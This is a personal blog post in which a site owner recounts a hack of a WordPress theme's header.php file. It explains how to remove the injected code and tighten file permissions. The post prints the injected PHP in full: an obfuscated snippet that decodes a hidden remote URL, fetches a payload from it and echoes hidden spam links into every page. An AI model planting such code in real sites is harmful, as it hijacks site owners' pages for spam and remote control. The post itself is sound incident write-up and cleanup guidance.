In the slightly Web 2.0-modified sentiments of the master, George Carlin,
"Our thrust is to prick holes in the stiff front erected by the smut hackers. We must keep mounting an offensive to penetrate any crack in their defenses, so we can lay to rest their dominate position. We want them hung and we want stiff action. Let's get on them. Let's ram through a stiff permission change so it'll be hard for them to get their hacks up. WordPress'ers have got to come together so we can whip this thing into submission. It'll be hard on us but we can't lick it by being soft."
There are many, many, many, many, many informative pages on WordPress hacks and their potentially long and involved fixes. The contents of this post address one specific hack that happened recently to my own site, how to fix the hacked php file, and the steps to take to keep the hack from occurring again. As usual, I provide as much of the text as I can in this post so that your google search for a particular phrase or snippet of php will land your here, as it well may have. Speaking of google…
The presence of these hidden links on your website may cause hypertension, eye fatigue, chronic stress (if you don't know how to remove them), and, when present for long durations, will result in a form email from google telling you that your site has been banned from google listings. Something like the following (in crimson for emphasis):
Dear site owner or webmaster of somewhereville.com,
While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.
The following is some example hidden text we found at http://somewhereville.com/:
[INSERT QUESTIONABLE HIDDEN TEXT HERE]
In order to preserve the quality of our search engine, pages from somewhereville.com are scheduled to be removed temporarily from our search results for at least 30 days.
We would prefer to keep your pages in Google's index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.
Sincerely, Google Search Quality Team
Note: if you have an account in Google's Webmaster Tools, you can verify the authenticity of this message by logging into https://www.google.com/webmasters/tools/siteoverview?hl=en and going to the Message Center.
With my luck, the contents below will somehow get me banned again, in which case I'll just make one big screen capture and post the image in a new entry.
I had received the above email some time ago from a previous hack that I had corrected in a previous version of WordPress (somewhere in the 2.3.x range). Within the last week or so, I received an email from friend and fellow nanotechnologist Tom Moore over at machine-phase.blogspot.com with the following picture:
The one week I lay off the egosurfing… Needless to say, my suspicions of a hack were aroused and, er, little else. The same form of hack as my previous 2.3.x adventure, but this is in WordPress 2.7.1 and I had properly set folder and file permissions on the server hosting this blog. Well, almost properly set permissions…
This most recent attack occurred to a php file in my theme, a modified version of Relaxation 3 Column that is, sadly, no longer in development (hence the modifications). The problem is theme-non-specific, as much of the core theme file structure is similar across all WordPress themes and a properly written script need only search out contents (or file names) common to all themes.
The specific modification occurred to my header.php file, which contained the following new and highly exciting content (to show the HTML, I've inserted a space around each bracket):
< div id="page" >
< div id="top" >< a href="/index.php" >< img title="home" src="<?php bloginfo('template_directory'); ?>/images/blank.gif" alt="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >
Original to the theme:
< div id="page" >
< div id="top" >< a href="/index.php" >< img title="home" src="<?php bloginfo('template_directory'); ?>/images/blank.gif" alt="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >
Hacked addition:
< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >
And, of course, what you see for the link list depends on what the script generates at load time. The pictures show cialis links (isn't it nice to see a link on a blog that sends you to the manufacturer instead of some back-of-the-server distributor?), but a Firefox Page Source view loads the following viagra-centric HTML after a page reload:
…
< body >
< div id="page" >
< div id="top" >< a href="/index.php" >< img src="https://www.somewhereville.com/wp-content/themes/relaxation_3column/images/blank.gif" alt="home" title="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >< div id='header_code' >< font style="position:absolute;overflow:hidden;height:0;width:0" >< a href="http://river.mit.edu/index.php?viagra=0" >Best Viagra Alternative< /a >< a href="http://river.mit.edu/index.php?viagra=1" > Best Viagra < /a > …2 to 806 of similar… < a href="http://river.mit.edu/index.php?viagra=807" > 50 Mg Viagra < /a >< /font >< /div >
< div id="content" >
…
The problem, and this is the important part, is that the permissions on the php files for this theme were set wide open so that anyone could read, write, and execute the theme files. After making the proper changes to the (in this case) header.php file in my ../wp-content/themes/[your theme name here] directory to remove the h4ck0r content (and, in theory, you will see the same text if you have a similar hack to your theme/header.php file), the next step is to change the permissions on these files via whatever "Attributes" window your FTP client provides (or whatever your FTP/Telnet/SSH program of choice is). In my case, I've been using Robert Vasvari's phenomenal RBrowser for OSX for quite some time. For this program, you would click on the theme directory of choice, then right-click and select "Change Attributes." You'll be brought to a screen like the following:
Now, permission setting is a minor trick depending on what you have in the directories that need to be read or executed for a page or plug-in to properly load. The 755 provides only the User (that should be you) with write access to files (and the "Apply to files inside selection" check will change everything in the folder). For simple themes, you can very probably get away with 644, which provides all with read access and the user read and write access. Frankly, I don't even know if there's a theme-based reason for execute to be enabled (anyone willing to correct me is more than welcome to).
Make the changes (in a text editor if you didn't know this already, then FTP the corrected file(s) up and down), change permissions, and with luck and a few days wait, your google search will return something like the following and decidedly not like the image above:
Needless to say, if you've never scoured a php file and don't know what to remove, your safest bet is just to blindly delete the theme, upload a fresh version, then change permissions. And, if you made modifications to the php files, KEEP TRACK OF THE CHANGES. And, of course, you should be backing up your database and website anyway in case the big one hits.
georgecarlin.com
ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked
wordpress.org/support/topic/195163
blog.taragana.com/index.php/archive/detailed-post-mortem-of-a-website-hack-through-wordpress-how-to-protect…
www.mydigitallife.info/2008/06/10/wordpress-hack-recover-and-fix-google-and-search-engine-or-no-cookie-traffic…
lorelle.wordpress.com/2009/03/07/firewalling-and-hack-proofing-your-wordpress-blog
wordpress.org
www.php.net
www.google.com
en.wikipedia.org/wiki/Hypertension
machine-phase.blogspot.com
en.wikipedia.org/wiki/Egosurfing
en.wikipedia.org/wiki/Permissions
widgets.wordpress.com/2006/06/18/relaxation-3-column
en.wikipedia.org/wiki/HTML
www.cialis.com/index.jsp
www.mozilla.com/en-US
www.viagra.com
en.wikipedia.org/wiki/File_Transfer_Protocol
www.rbrowser.com
www.apple.com/macosx